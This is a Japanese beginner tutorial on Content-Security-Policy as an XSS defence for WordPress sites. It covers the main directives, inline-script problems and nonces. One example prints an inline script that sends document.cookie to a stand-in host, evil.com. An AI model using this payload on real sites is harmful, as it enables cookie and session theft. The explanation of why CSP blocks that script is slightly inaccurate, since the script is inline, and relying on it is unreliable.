Content-Security-Policy（CSP）は「サイトに読み込んでよいものを“ホワイトリスト化”する最強の防御壁」
まず、CSP を一言でまとめると、
「このページでは、どのスクリプト・画像・CSS・外部サービスを読み込んでよいかを“細かく指定する”ためのセキュリティルール」
です。
これを設定すると、ブラウザはページを読み込むときに、
「このスクリプトは許可されている？」
「この画像はどのドメインから来ている？」
「このインラインスクリプトは実行していい？」
といったチェックを行い、許可されていないものは実行しません。
これは、XSS（クロスサイトスクリプティング）対策として非常に強力です。
ここまでのイメージはつかめていますか？
次は、もう少し深く掘り下げていきますね。
なぜ CSP が「XSS 対策の本命」と言われるのか
XSS の本質は「意図しないスクリプトが実行されること」
XSS は、攻撃者が仕込んだ JavaScript がユーザーのブラウザで実行されてしまう攻撃でした。
例えば、
コメント欄に <script>...</script> を書かれる
URL パラメータに悪意あるコードを入れられる
テーマやプラグインの脆弱性でスクリプトが混入する
などが典型です。
CSP を設定すると、ブラウザはこう判断します。
「このスクリプト、許可リストに入ってないよね？
じゃあ実行しない。」
つまり、
“スクリプトが混入しても、実行されない”
という状態を作れるのが CSP の強さです。
CSP の基本構造をかみ砕いて理解する
「どの種類のリソースを、どの場所から読み込んでよいか」を決める
CSP は、レスポンスヘッダでこんな感じのルールを送ります。
Content-Security-Policy: default-src 'self'; img-src 'self' https://images.example.com; script-src 'self';
これを日本語にすると、
「基本的には自分のサイトのものだけ読み込んでよい。
画像は自分のサイトと images.example.com からだけOK。
スクリプトは自分のサイトのものだけOK。」
という意味です。
よく使うディレクティブ（設定項目）
初心者向けに、特に重要なものだけ紹介します。
default-src
「特に指定がないリソースはここを基準にする」
例：default-src 'self'
→ 自分のサイトのものだけ許可
script-src
「JavaScript をどこから読み込んでよいか」
例：script-src 'self' https://cdn.example.com
img-src
「画像をどこから読み込んでよいか」
例：img-src 'self' data:
style-src
「CSS をどこから読み込んでよいか」
例：style-src 'self' 'unsafe-inline'
（※ 'unsafe-inline' は本当は危険だが、WordPress では必要になることが多い）
例題：CSP がある場合・ない場合の違い
例1：コメント欄に悪意あるスクリプトが書かれた場合
CSP なし
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
→ ブラウザはそのまま実行
→ クッキーが盗まれる可能性
CSP あり（script-src ‘self’）
ブラウザ：「このスクリプト、evil.com から来てるよね？許可されてないよ」
→ 実行をブロック
→ XSS が成立しない
例2：外部広告タグが http のまま読み込まれる場合
CSP なし
http の JS が混ざり、Mixed Content や改ざんリスクが発生
CSP あり（script-src https:）
http のスクリプトは自動的にブロック
→ 安全性が上がる
WordPress で CSP を設定するときの注意点
WordPress は「インラインスクリプト」が多い
WordPress のテーマやプラグインは、
<script> ... </script>
のようなインラインスクリプトを多用します。
CSP では、インラインスクリプトはデフォルトで禁止されるため、
script-src 'self' 'unsafe-inline'
を入れないと動かないケースが多いです。
ただし 'unsafe-inline' はセキュリティ的には弱くなるため、
可能なら nonce（ナンス）方式に移行するのが理想です。
外部サービスを使っていると許可リストが増える
Google Fonts
Google Analytics
reCAPTCHA
CDN
SNS 埋め込み
などを使っていると、
script-srcimg-srcstyle-src
に追加で許可ドメインを入れる必要があります。
CSP は強力ですが、
設定が厳しすぎるとサイトが壊れるので、
少しずつ調整するのが現実的です。
プログラミングの感覚で捉える「CSP」
これは「ホワイトリスト方式のアクセス制御」
アプリケーション開発では、
「許可したものだけ通す」
というホワイトリスト方式が最も安全です。
CSP は、
“ブラウザが読み込むリソース”に対してホワイトリストを作る
という設計です。
XSS を「発生させない」のではなく「実行させない」
アプリ側のエスケープが甘いと、
XSS の“混入”自体は起きてしまいます。
しかし CSP があれば、
「混入しても実行されない」
という状態を作れます。
これは、
アプリ側のミスをブラウザ側で補完する
という意味で非常に強力です。
まとめ：CSP は「ブラウザに守ってもらうための最強の安全ルール」
Content-Security-Policy の本質は、
ページ内で読み込んでよいリソースを細かく指定し
許可されていないスクリプトや外部リソースを自動でブロックし
XSS や改ざんリスクを大幅に下げる
という点にあります。
押さえておきたいポイントは、
CSP は XSS 対策の中でも最強クラス
WordPress ではインラインスクリプトが多く、調整が必要
ホワイトリスト方式なので、少しずつ設定していくのが現実的
という三つです。
